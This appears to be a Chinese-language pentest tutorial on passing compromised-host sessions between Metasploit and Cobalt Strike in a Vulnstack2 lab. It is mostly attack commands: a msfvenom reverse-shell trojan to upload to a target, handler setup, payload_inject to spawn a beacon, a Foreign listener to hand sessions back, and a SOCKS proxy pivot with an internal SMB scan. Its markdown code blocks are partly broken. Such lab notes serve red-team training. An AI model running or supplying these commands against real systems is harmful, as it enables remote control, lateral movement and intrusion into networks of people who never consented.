环境
- 攻击机:Kali,
192.168.100.2
- CS:监听器端口
8080
- MSF:监听端口
9999
- CS:监听器端口
-
MSF上线主机给CS
场景:当MSF有了一个Session会话,利用MSF注入功能,加载CS的Payload
测试的时候发现会弹个空白的笔记本出来
- 环境:Vulnstack2(Win_2008_R2_Standard_x64)
- MSF需要先拿到Shell。这里使用
msfvenom
生成一个恶意木马,并上传到靶机 ```shell $ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=lport= -f exe > msf.exe
![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621754-9ca3c549-93ff-4cca-8d63-f8fb66253eb9.jpeg#height=216&id=oipO3&originHeight=216&originWidth=791&originalType=binary&ratio=1&size=0&status=done&style=none&width=791)
- MSF中开启监听,并在靶机中运行该木马
```shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost <MSF_IP>
msf6 exploit(multi/handler) > set lport <MSF_Port>
msf6 exploit(multi/handler) > exploit
- 在CS中创建监听器
- 监听器类型:
windows/beacon_http/reverse_http
- Host修改为CS的IP,监听指定端口,等待MSF发送
- 监听器类型:
使用payload_inject模块,执行之后会在本地产生一个新的Handler
msf> use exploit/windows/local/payload_inject
根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
设置回连地址,CS_IP和监听器端口
msf> set LHOST
指定要执行的Session
msf> set session
设置MSF不启动监听,不然MSF会提示执行成功,但没有会话建立
msf> set disablepayloadhandler true msf> run
- 运行后CS上线
![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621859-aa3a949d-4611-4c4b-b1b6-c8576c2a0826.jpeg#height=475&id=LgosF&originHeight=475&originWidth=1320&originalType=binary&ratio=1&size=0&status=done&style=none&width=1320)
<a name="024a42a4"></a>
## CS上线主机给MSF
> 场景:CS已上线主机,想把这个主机发送给MSF,生成一个MSF的Session
- CS生成木马并上传到靶机,运行后主机上线
- MSF开始监听
```shell
# 配置监听器
msf> use exploit/multi/handler
# 选择Payload
msf> set payload windows/meterpreter/reverse_http # 不要用x64
msf> set lhost <MSF_IP>
msf> set lport <MSF_Port> # 设置任意端口进行监听
# 启动监听器
msf> run
- 然后在CS上设置一个Foreign监听器
- IP为MSF的监听IP
- 端口为MSF监听端口
- 在CS中右键会话,点击
Spawn
,选择MSF的监听器,或者在CS上线主机运行: ```shell beacon> Spawn msf
![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621822-db791fa3-d04e-4d1c-8701-a4178b14d23b.jpeg#height=240&id=P12or&originHeight=240&originWidth=640&originalType=binary&ratio=1&size=0&status=done&style=none&width=640)
- 发送后MSF获得Session
![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621830-9c6dbc5a-5781-46db-919d-f9988357d001.jpeg#height=341&id=NFIn1&originHeight=341&originWidth=681&originalType=binary&ratio=1&size=0&status=done&style=none&width=681)
<a name="29833eeb"></a>
## CS代理给MSF
> 场景:CS已上线主机,通过CS开放一个socks代理,让MSF连接此代理进行内网渗透
- 在CS上线主机Beacon中输入Socks监听端口
```shell
beacon> socks <Proxy_Prot> # 设置任意端口进行代理
- 在菜单栏点击
view > Proxy pirots
,点击Tunnel
,可以看到生成对应的命令 ```shell setg Proxies socks4::
![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621792-da153e32-ccb0-4ac8-aae9-df8c94d5ec90.jpeg#height=526&id=FCXMO&originHeight=526&originWidth=806&originalType=binary&ratio=1&size=0&status=done&style=none&width=806)
- 开启MSF,输入命令进行设置代理
```shell
# MSF所有流量将走此代理
msf> setg Proxies socks4:<CS_IP>:<Proxy_Prot>
# 设置允许反向代理,即建立双向通道
# 如果通过此socks反弹shell,则需要开启,否则不推荐开启
msf> setg ReverseAllowProxy true
# 可以使用以下命令停止
msf> unsetg Proxies
- 扫描指定网段中的445端口 ```shell msf> use auxiliary/scanner/smb/smb_version msf> set rhost 192.168.100.0/24 # 靶机如果有其它网段也可以扫描 msf> set threads 10 msf> run
```